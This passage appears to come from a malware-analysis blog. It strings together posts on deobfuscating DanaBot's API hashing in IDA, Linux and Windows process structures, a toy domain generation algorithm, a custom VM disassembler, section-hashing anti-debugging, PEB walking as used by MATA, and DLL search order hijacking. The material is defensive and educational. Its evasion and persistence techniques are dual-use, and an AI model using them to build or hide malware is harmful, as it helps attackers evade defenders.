First we retrieve all XRefs of the Api Hashing function. Each XRef will contain an address where the Api Hashing function is called at, which means that in atleast the 5 previous instructions, we will find the mentioned pattern. So we will fetch the previous instruction until we extract the wanted hash value, which is being pushed into EDX. Finally we can use this immediate to extract the corresponding api function from the hash values we have generated before and comment the function name next to the Xref address.

def add_comment(addr, hashv, api_table):
    """Write a comment at addr with the matching api function.Return True if a corresponding api hash was found."""
    # remove the "h" at the end of the string
    hashv = hex(int(hashv[:-1], 16))
    keys = api_table.keys()
    if hashv in keys:
        apifunc = api_table[hashv]
        print "Found ApiFunction = %s. Adding comment." % (apifunc,)
        idc.MakeComm(addr, apifunc)
        comment_added = True
    else:
        print "Api function for hash = %s not found" % (hashv,)
        comment_added = False
    return comment_added


def main():
    """Main"""
    f = open(
        "C:\\Users\\luffy\\Desktop\\Danabot\\05-07-2020\\Utils\\danabot_hash_table.txt", "r")
    lines = f.readlines()
    f.close()
    api_table = get_api_table(lines)
    i = 0
    ii = 0
    for xref in idautils.XrefsTo(0x2f2858):
        i += 1
        currentaddr = xref.frm
        addr_minus = currentaddr - 0x10
        while currentaddr >= addr_minus:
            currentaddr = PrevHead(currentaddr)
            is_mov = GetMnem(currentaddr) == "mov"
            if is_mov:
                dst_is_edx = GetOpnd(currentaddr, 0) == "edx"
                # needs to be edx register to match pattern
                if dst_is_edx:
                    src = GetOpnd(currentaddr, 1)
                    # immediate always ends with 'h' in IDA
                    if src.endswith("h"):
                        add_comment(xref.frm, src, api_table)
                        ii += 1
    print "Total xrefs found %d" % (i,)
    print "Total api hash functions deobfuscated %d" % (ii,)


if __name__ == '__main__':
    main()

Conclusion

As reverse engineers, we will probably continue to encounter Api Hashing in various different ways. I hope I was able to show you some quick & dirty method or give you at least some fundament on how to beat this obfuscation technique. I also hope that, the next time a blue team fellow has to analyse DanaBot, this article might become handy to him and saves him some time reverse engineering this banking trojan.

IoCs

• Dropper = e444e98ee06dc0e26cae8aa57a0cddab7b050db22d3002bd2b0da47d4fd5d78c
• DLL = cde01a2eeb558545c57d5c71c75e9a3b70d71ea6bbeda790a0b871fcb1b76f49

Having an overview of the running processes on the operating system is something we usually take for granted. We can’t think of working without fundamental features like that.

But how does the kernel keep track of the processes, which are currently running ? Today, we take a look at the corresponding structures of the Windows and the Linux system, which are responsible for holding track of the running processes.

Linux – Task structures

If you ever used Linux before, you are probably familiar with the ps command, which allows you to print the list of all processes currently running on the system. We will dive into how the Linux kernel keeps track of these processes internally.

The kernel stores a list of processes in a doubly linked list, called the task list. Each node in this list is a process descriptor of the type task_struct. The definition of this task struct can be found in linux/sched.h[1] of Linus Torvald’s git repository.

If you checked out the code, you will realise that this structure is pretty extensive and we will not dive into every member of this structure. Our focus lies on understanding how the kernel handles this task list. As I’ve already explained, the kernel keeps track of all processes by a doubly linked list. Each task structure holds a member tasks of type list_head.

struct list_head {
    struct list_head *next, *prev;
};

As you’ve probably already guessed, the next pointer holds a reference, which allows us to retrieve the next task_struct and the prev field allows us to take a step back. We can write a simple to linux kernel module to iterate through the task list and print out all process names and process ids on the current system:

Iterating through the linked list

Task structures lie in kernel space, so accessing these is not possible without writing a kernel module. The code is pretty straight forward. We just use the init_task as an initial entry point, which is the idle task running on the linux system. Iterating through the linked list is possible via the next_task macro. Then we use the printk function to log the comm(process executable) member and the process id.

#include <linux/sched/task.h> 
#include <linux/sched/signal.h>
#include <linux/module.h>    
#include <linux/kernel.h>    
#include <linux/init.h>      

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Andreas Klopsch");
MODULE_DESCRIPTION("Simple module for printing task structure members");
MODULE_VERSION("0.1");
  
// get the top element in the task doubly linked list
extern struct task_struct init_task;


static int __init action_init(void){
	struct task_struct task;
	printk(KERN_INFO "Init task = %s", init_task.comm);
	printk(KERN_INFO "Getting next task");
	task = *(next_task(&init_task)); // deference pointer for convencience reasons
	while(task.pid != init_task.pid) {
		printk(KERN_INFO "Comm = %s pid = %d", task.comm, task.pid);
		task = *(next_task(&task)); // dereference again, use macro to not iterate through list_head
	}
	return 0;
 }
 

static void __exit action_exit(void){
	printk(KERN_INFO "Stopping task iterator");
}
 
module_init(action_init);
module_exit(action_exit);

Windows – EPROCESS

On Windows, there are similarities with Linux. Each process on Windows is represented by an EPROCESS structure, which is actually the representation of a process object. The EPROCESS structure also contains a KPROCESS structure, which holds information for the kernel.

As with Linux, this block contains various information relating to the corresponding process, like:

• Virtual Address Descriptors, holding the map of the process virtual memory
• Process ID
• Image base name

Another similarity with the Linux system, is the way the processes are linked with each other. EPROCESS structures are connected to each other via a doubly linked list, called ActiveProcessLinks. The next process in the list is referenced by FLink and the previous process object is referenced by the BLink pointer. One way of how this could be implemented, is iterating through the ActiveProcessLinks structure again.

References

• Windows Internals, Part 1: System Architecture, Processes, Threads, Memory Management, and More
• Mastering Malware Analysis: The complete malware analyst’s guide to combating malicious software, APT, cybercrime, and IoT attacks 

A domain generation algorithm is a routine/program that generates a domain dynamically. Think of the following example:

An actor registers the domain evil.com. The corresponding backdoor has this domain hardcoded into its code. Once the attacker infects a target with this malware, it will start contacting its C2 server.

As soon as a security company obtains the malware, it might blacklist the registered domain evil.com. This will hinder any attempts of the malware to receive commands from the original C2.

If a domain generation algorithm would have been used, the domain will be generated based on a seed. The current date for example is a popular seed amongst malware authors. A simple domain blacklisting would not solve the problem. The security company will have to resort to different methods.

By generating domains dynamically, it is harder for defenders to hinder the malware from contacting its C2 server. It will be necessary to understand the algorithm.

Example implementation of a DGA

A quick & dirty implementation(loosely based on Wikipedia)[1] of such algorithm could look like this:

"""Example implementation of a domain generation algorithm."""

import sys
import time
import random


def gen_domain(month, day, hour, minute):
    """Generate the domain based on time. Return domain"""
    print(
        f"[+] Gen domain based on month={month} day={day} hour={hour} min={minute}")
    domain = ""
    for i in range(8):
        month = (((month * 8) ^ 0xF))
        day = (((day * 8) ^ 0xF))
        hour = (((hour * 8) ^ 0xF))
        minute = (((minute * 8) ^ 0xF))
        domain += chr(((month * day * hour * minute) % 25) + 0x61)
    return domain


try:
    while True:
        d = gen_domain(random.randint(1, 12), random.randint(1, 30),
                       random.randint(0, 24), random.randint(0, 60))
        print(f"[+] Generated domain = {d}")
        time.sleep(5)
except KeyboardInterrupt:
    sys.exit()

Our DGA algorithm would use the current date and time as a seed. Each parameter is multiplied with 8 and XOR’d with 0xF. Finally all four values are multiplied with each other. The final operations are used to make sure that we generate a character in small caps. The output of this program looks like this:

[+] Gen domain based on month=12 day=2 hour=4 min=4
[+] Generated domain = taavtaab.com
[+] Gen domain based on month=3 day=10 hour=11 min=36
[+] Generated domain = kugxfkvx.com
[+] Gen domain based on month=2 day=27 hour=4 min=1
[+] Generated domain = kaasuapn.com

Seed or Dictionary based

There are different main approaches when implementing a domain generation algorithm. For the sake of keeping this simple, we will not focus on the hybrid approach.

Seed based Approach

We already introduced the first one. Our implementation is an algorithm based on a seed, which is served as an input. Another example I can provide, is how APT34 used such seed based algorithm in a campaign targeting a government organisation in the Middle East. The campaign was discovered by FireEye[2].

The mentioned APT group used domain generation algorithms in one of their downloaders. The Downloader was named BONDUPDATER by FireEye and is implemented in the Powershell Scripting Language.

The first 12 chars of the UUID is extracted. Next the program runs into a loop. Each iteration a new random number is generated and the domain is generated by concatenating hardcoded, as well as generated values. GetHostAddresses will try to resolve the generated domain. If it fails, a new iteration starts. Once a registered domain is generated and resolved, it will break the loop.

Depending on the resolved ip address, the script will trigger different actions.

Dictionary based Approach

The second approach is to create a dictionary based domain generation algorithm. Instead of focusing on a seed, a list of words could be provided. The algorithm randomly selects words from these lists, concatenates them and generates a new domain. Suppobox[3] is a malware, which implemented the dictionary based approach[4].

Defeating Domain Generation Algorithms

The straight forward way to counter these algorithms is to reverse engineer the routine and to predict future domains. One famous case of predicting future domains is the takedown of the Necurs Botnet by Microsoft[5]. By understanding the DGA, they were able to predict the domains for the next 25 months.

I am not a ML magician. However, just a quick google research shows that there is a lot research going on. Machine Learning based approaches to counter DGAs seems to be promising too.

In the last episode …

As you’ve probably guessed it, this is the second part of my journey to reverse engineer a virtual machine protected binary. If you haven’t read the first part[1], I encourage you to do so, because I will not repeat everything again here. While the first part dealt with explaining the virtual environment and giving an initial first look into the virtual machine’s custom instruction set, I will focus on disassembling the virtual machine code completely this time.

I might repeat some steps from the first part again, mostly because I felt that it was necessary to do so :-).

Into the battle

We already explained the environmental setup in the previous blog post and also identified the main loop, which is responsible for instruction execution.

Each iteration, an instruction is parsed and the final CALL in the left branch of figure 1 executes the instruction.

Critical functions

I covered the instruction parsing process in my last blog article a little bit. But since we are going to build a disassembler, I will explain the most important routines once again.

0x4013DF / ParseInstruction

This function is called each iteration in the loop from figure 1 and is responsible for parsing the byte codes.

Each loop, the Virtual Instruction Pointer/VIP is retrieved, pointing at the instruction to execute. Each instruction is parsed. This function is fully responsible for transforming the bytes into a further processable format. Let’s take a look at how the first three instructions are parsed:

If you are interested in understanding this format fully, I recommend you to jump to the disassembler code[2]. I will only cover the first instruction here.

So how do we get from 03 15 03 00 04 to the parsed format ?

The first byte is always the instruction id. 03 is the id for the PUSH instruction. The second byte is divided into its upper 6 bits and lower 2 bits, representing the instruction size and number of operands used for this instruction. The next bytes are used to represent a single operand. In the example above, the first operand config 00 03 00 00, is the configuration for USE 32 BIT OF REGISTER, SPECIFIED BY THE NEXT DWORD 04 00 00 00. The next DWORD is 04 00 00 00, which is the fourth virtual register. Now what is the fourth register here ? Let’s take a quick look at the instructions.

PUSH VR4
MOV VR4, VR7
SUB VR7, 0xB4

This looks very similar to the usual function prologue ;-). So the fourth register must be EBP!.

PUSH EBP
MOV EBP, ESP
SUB ESP, 0xB4

0x401271 / GetOpval & 0x401322 / StoreOpval

I will not cover these two functions in depth here. If you take a look at figure 3 again, you will see that I mention the operand configs. These functions are responsible for filling the operands according to these configs.

In the example above, the SUB VR7, 0xB4 instruction uses 00030000 07000000 for the first operand and 00020000 B4000000 for the second config. If you reverse engineer every single option, you will find out that the following configurations exist:

# First DWORD CONFIG
00000000 ==> LOWEST BYTE OF REG X # f.e AX
00010000 ==> SECOND LOWEST BYTE OF REG X # f.e. AH 
00020000 ==> LOWER 16 BIT OF REG X # f.e. AX
00030000 ==> 32 BIT OF REGX # f.e. EAX
01000000 ==> BYTE AT LOC
01010000 ==> BYTE AT LOC
01020000 ==> WORD AT LOC
01030000 ==> DWORD AT LOC
02000000 == BYTE FROM IMM.
02010000 ==> BYTE FROM IMM.
02020000 ==> WORD FROM IMM.
02030000 ==> DWORD FROM IMM.
# Second DWORD CONFIG, if register
00000000 ==> EAX
01000000 ==> EBX
02000000 ==> ECX
03000000 ==> EDX
04000000 ==> EBP
05000000 ==> ESI
06000000 ==> EDI
07000000 ==> ESP

Eternal Debugging

Now we can use the gained knowledge to gain an initial understanding of what is happening and to verify whether we are able to decode instructions manually.

If you take a look at the last instructions, you will see that there are some constants pushed into memory. If you google these constants, you will come to the conclusion that this must be the MD5 Init routine[3]. The next step is to build a disassembler.

Disassembling the code

I wrote this one in C++ and you can find the source code to it on my github page[4]. Writing this on Python would have been possible too … and probably a lot easier and faster, I chose C++ though for learning purposes. If my C++ is awful, forgive me. We all start somewhere ;-).

Our disassembler does have some limitations though. The disassembly was complex and I believe that some memory address offsets and register sizes are wrong. Also, I did not reverse engineer all instructions. However though, that should not be a problem, because we only need to understand what is happening here on a higher level.

Identifying the algorithm

We already spotted the variables, which we also found in the MD5.c source code(f.e. 0x2381bc0). However, the actual hashing algorithm does not match the original one. Therefore it seems to be some kind of a modified version of it. Furthermore we spot a routine, which seems to be the XTEA algorithm[5].

Final words

So that’s basically it. I don’t know when and if I will a third part covering the serial key generator. When I started this challenge, I was only interested in learning how to disassemble custom instruction sets.

If you are interested in how others solved this challenge, I recommend you to read the tutorials from wagonono and kernelj, they both completely solved this challenge[6]. Wagonono also created a disassembler and his version is better than mine.

As a Reverse Engineer, you will always have to deal with various anti analysis measures. The amount of possibilities to hamper our work is endless. Not only you will have to deal with code obfuscation to hinder your static analysis, but also tricks to prevent you from debugging the software you want to dig deeper into. I want to present you Section Hashing today.

I will begin by explaining how software breakpoints work internally and then give you an example of a Section Hashing implementation.

Debuggers – How software breakpoints work

When you set a breakpoint in your favourite debugger at a specific instruction, the debugger software will replace it temporarily with another instruction, which causes a fault or an interrupt. On x86, this is very often the INT 3 instruction, which is the opcode 0xCC. We can examine how this looks like in RAM.

We open x32dbg.exe and debug a 32 bit PE and set a breakpoint near the entry point.

When setting a breakpoint, you will see the original instruction instead of the patched one in the debugger. However, we can examine the same memory page in RAM with ProcessHacker.

In volatile memory, the byte 33 changed to CC, which will cause the program to halt when reached. This software interrupt will then be handled by the debugger and the code will be replaced again.

Catching Breakpoints with Section Hashing

After explaining how software breakpoints work, I’ll get to the real topic of this article now. We will move to the Linux world now for this example.

A software breakpoint is actually nothing else than a code modification of the executable memory section in RAM. Once a breakpoint is set, the .text section will be modified. A very known technique to catch such breakpoints in RAM is called Section Hashing.

Authors can embed the hash of the .text section in the binary. Upon execution, they use the same algorithm to generate a new hash from the .text section. If a software breakpoint is set, the hash will differ from the embedded hash. An example implementation can look like this:

In this case, a hash of the .text section is generated. Afterwards it is used to influence the generation of the flag. If a software breakpoint is set during execution, a wrong hash will be generated.

This is a simple example of Section Hashing. In combination with code obfuscation and other anti analysis measurements, it can be very hard to spot this technique. It is also occasionally used by commercial packers.

Defeating Section Hashing

There are multiple ways to defeat this technique, some of them could be:

• Patching instructions
• Using hardware breakpoints

Instead of modifying the code in Random Access Memory, in x86 hardware breakpoints use dedicated registers to halt the execution. Hardware Breakpoints are still detectable.

In Windows, the program can fetch the CONTEXT via GetThreadContext to see if the debugging registers are used. A great example on how this is implemented can be found here[1]. If you are interested in trying to defeat it by yourself, you can try to beat the Section Hashing technique by yourself at root-me.org[2].

As a reverse engineer, every now and then you encounter a situation where you dive deeper into the internal structures of an operating system as usual. Be it out of simple curiosity, or because you need to understand how a binary uses specific parts of the operating system in certain ways . One of the more interesting structures in Windows is the Process Environment Block/PEB. In this article, I’d like to introduce you to this structure and talk about various use cases of how adversaries can abuse this structure for their own purposes.

Introducing PEB

The Process Environment Block is a critical structure in the Windows OS, most of its fields are not intended to be used by other than the operating system. It contains data structures that apply across a whole process and is stored in user-mode memory, which makes it accessible for the corresponding process. The structure contains valuable information about the running process, including:

• whether the process is being debugged or not
• which modules are loaded into memory
• the command line used to invoke the process

All these information gives adversaries a number of possibilities to abuse it. The figure below shows the layout of the PEB structure:

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;

Now that we’ve talked a little bit about the layout and purpose of the structure, let’s take a look at a few use cases.

Reading the BeingDebugged flag

The most obvious way is to check the BeingDebugged to identify, whether a debugger is attached to the process or not. Through reading the variable directly from memory instead of using usual suspects like NtQueryInformationProcess or IsDebuggerPresent, malware can prevent noisy WINAPI calls. This makes it harder to spot this technique.

However, most debuggers already take care of this. X64dbg for example, has an option to hide the Debugger by modifying the PEB structure at start of the debugging session.

Iterating through loaded modules

Another use case, could be iterating the loaded modules and discover DLLs injected into memory with purpose to overwatch the running process. To understand how to achieve this, we need to take a look at the PPEB_LDR_DATA structure included in PEB, which is provided by the Ldr variable:

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

PPEB_LDR_DATA contains the head to a doubly linked list named InMemoryOrderModuleList. Each item in this list is a structure from type LDR_DATA_TABLE_ENTRY, which contains all the information we need to iterate loaded modules. See the structure of LDR_DATA_TABLE_ENTRY below:

typedef struct _LDR_DATA_TABLE_ENTRY {
    PVOID Reserved1[2];
    LIST_ENTRY InMemoryOrderLinks;
    PVOID Reserved2[2];
    PVOID DllBase;
    PVOID EntryPoint;
    PVOID Reserved3;
    UNICODE_STRING FullDllName;
    BYTE Reserved4[8];
    PVOID Reserved5[3];
    union {
        ULONG CheckSum;
        PVOID Reserved6;
    };
    ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

So by iterating the doubly linked list, we are able to discover the base address and full name of all modules loaded into memory of the running process. The snippet below is a small Proof of Concept. It iterates the linked list and prints the library name to stdout. I created it for the purpose of this blog article. You are free to use it, however I will also upload it to my github repo the upcoming days:

#include <Windows.h>
#include <iostream>
#include <shlwapi.h>


#define NO_STDIO_REDIRECT

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;


typedef struct _LDR_DATA_TABLE_ENTRY_MOD {
    LIST_ENTRY InMemoryOrderLinks;
    PVOID Reserved2[2];
    PVOID DllBase;
    PVOID EntryPoint;
    PVOID Reserved3;
    UNICODE_STRING FullDllName;
    BYTE Reserved4[8];
    PVOID Reserved5[3];
    union {
        ULONG CheckSum;
        PVOID Reserved6;
    };
    ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY_MOD, * PLDR_DATA_TABLE_ENTRY_MOD_MOD;




int main(int argc, char** argv[]){

 
    PLDR_DATA_TABLE_ENTRY_MOD_MOD lib = NULL;
    _asm {
        xor eax, eax
        mov eax, fs:[0x30]
        mov eax, [eax + 0xC]
        mov eax, [eax + 0x14]
        mov lib, eax
    };
    printf("[+] Initialised pointer to first LDR_DATA_TABLE_ENTRY_MOD\n");
    

    // Loop as long as we don't reach the head of the linked list again
    while ( lib->FullDllName.Buffer != NULL ) {

        printf("[+] %S\n", lib->FullDllName.Buffer);
        lib = (PLDR_DATA_TABLE_ENTRY_MOD_MOD)lib->InMemoryOrderLinks.Flink;
    }
    
    printf("[+] Done!\n");



	return 0;

If you are wondering how I am able to access the PEB in the code below, you should take a look at the inline assembly in the main method, especially the instruction mov eax, fs:[0x30]. FS is a segment register, similar to GS. FS can be used to access thread-specific memory. Offset 0x30 allows you to access the linear address of the Process Environment Block.

Finally, we want to take a look at a real world example of how PEB can be abused.

How the MATA Framework abuses PEB

This use case was introduced to me while reverse engineering a Windows variant of the MATA Framework. According to Kaspersky[1], the MATA Framework is used by the Lazarus group and targets multiple platforms.

Malware authors have a high interest in obfuscation, because it increases the time needed to reverse engineer it. One way to hide API calls is to use API Hashing. I have written about Danabot’s API Hashing[2] before and how to overcome it. MATA also uses this technique.

However instead of using the WIN API calls to retrieve the address of DLLs loaded into memory, MATA abuses the Process Environment Block to fetch base addresses. Let’s take a look at how MATA for Windows achieves this:

MATA API Hashing

The input of the APIHashing method takes an integer as the only parameter, this is the hash for the corresponding API call.

Right after the prologue, it retrieves a pointer to PEB by reading it from the Thread Environment Block via the segment register GS. Similar to our proof of concept above, MATA now fetches the address to the head of the linked list provided by InMemoryOrderModuleList. Each item of the linked list provides the DLL base address of the corresponding loaded module.

From there, the malware reads the e_lfanew field, which contains the offset to the file header. By adding the base address, e_lfsanew and 0x88 it jumps directly to the data directories of the corresponding PE. From the data directories, MATA accesses the exported function names in a similar way as I’ve described in my blog article about DanaBot’s API Hashing[3]. The hashing algorithm is fairly simple. Each integer representation of a character is added and the result of the addition is ROR'd by 0xD consecutively each iteration. If the final hash matches the input parameter, the address to the function is retrieved. The following figure explains the function at a high level:

Learning from each other

That’s it with the blog article, I hope you enjoyed it! There are probably way more use cases and real world cases of how the PEB is and and can be abused. If you can think of another one, feel free to leave a comment below and share it, so that we can learn from each other!

If you ever used Process Monitor to track activity of a process, you might have encountered the following pattern:

The image above is a snippet from events captured by Process Monitor during the execution of x32dbg.exe on Windows 7. DNSAPI.DLL and IPHLPPAPI.DLL are persisted in the System directory, so you might question yourself:

Why would Windows try to search for either of these DLLs in the application directory first?

Operating Systems are very complex and so is the challenge of implementing an error-fault system to search for dependencies, like dynamic linked libraries. Today, we’ll talk about DLL Search Order and DLL Search Order Hijacking, in particular how it works and how adversaries can abuse it.

DLL Search Order

First, we have to talk about what happens when a PE File is executed on the Windows system.

The majority of native binaries you encounter on Windows are linked dynamically. Linked dynamically means that upon start of the execution, it uses information which are embedded inside the binary to locate DLLs that are essential for this process. In comparison with statically linked binaries, when linked dynamically the executable will use the libraries provided by the OS instead of having them compiled into the executable itself.

Before the dynamically linked executable can use or load these libraries, it will have to know where these dependencies are persisted on disk or if they are already in memory. This is where the DLL Search Order makes its appearance. To keep it simple, we will focus only on Windows Desktop Applications.

Pre-Checks and In-Memory Search

Before the Windows OS starts searching for the needed DLL on disk, it will first attempt to find the needed module in memory. If a DLL is already in memory, it will not loaded it again. Now this part is a little bit complicated and out of context for this blog article, we would have to define what “loaded” even means. If you are more interested in the first check, I advise you to look up the official Microsoft documentation[1].

If the memory check fails, Windows can fall back to using a list of known DLLs. if the needed library is part of that list, it will use the copy of the known DLL. The list of known DLLs are persisted in the Windows Registry.

On-Disk Search

If the first two checks fail, the OS will have to search for the DLL on disk. Depending on the OS Settings, Windows will use a different search order. Per default, Windows enables the DLL Search Mode feature to harden the system and prevent DLL Search Order Hijacking attacks, a technique we will explain in the upcoming section.

The key to the feature is as follows:

• HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

Let’s take a look at the differences of the search order depending whether SafeDllSearchMode is enabled or not.

We clearly see that the current directory is prioritised if SafeDllSearchMode is disabled and this can be abused by adversaries. The art of abusing this search order flow is called DLL Search Order Hijacking.

DLL Search Order Hijacking

Adversaries can abuse the search order flow displayed above to load their own malicious DLLs instead of the legitimate ones into memory. There are many ways this technique can be used. However, it is more effective in achieving persistence on the target system then initial execution.

Let’s take a step back and revisit our example from above:

• x32dbg.exe tries to load DNSAPI.DLL
• DNSAPI.DLL is not in the list of known DLLs and is also not loaded into memory.
• Since SafeDllSearchMode is enabled, it will fall back to the system directory if not found in the application directory

What would happen, if we craft and place a malicious DLL, named DNSAPI.DLL into the application directory?

We would be able to hijack the search order flow and force a legitimate application to load our malicious code into memory.

Practical Use Case

Let’s take a look at a simple practical example. Our application calls LoadLibraryA and tries to load dnsapi.dll like in our example from above. Next we craft a small DLL file, which does nothing else but create a message box in the DLLMain function. Once the DLL is loaded into memory, the main function will be triggered.

In the first run, we do not place the crafted DLL in the application directory. As expected, Windows will load dnsapi.dll from the system directory:

Next, we will now name our crafted DLL dnsapi.dll and place it in the application directory:

Whoops! I think we can all think of a couple use cases of how APT groups and malware can abuse this technique to achieve persistence on the victim’s system.

Real world examples and APTs

For the sake of keeping it simple and explaining the core principles behind this persistence technique, we’ve build a very simple use case here. Of course, the real world looks a little bit different and usually attackers have to take into account:

• Endpoint Security solutions with behaviour based detections, preventing such attacks with signatures
• Programmatic dependencies, which won’t allow you to just replace a DLL in an application directory and hope that it will work just fine
• and many more

However, if you never heard about this technique, I hope I was able to create some awareness for it!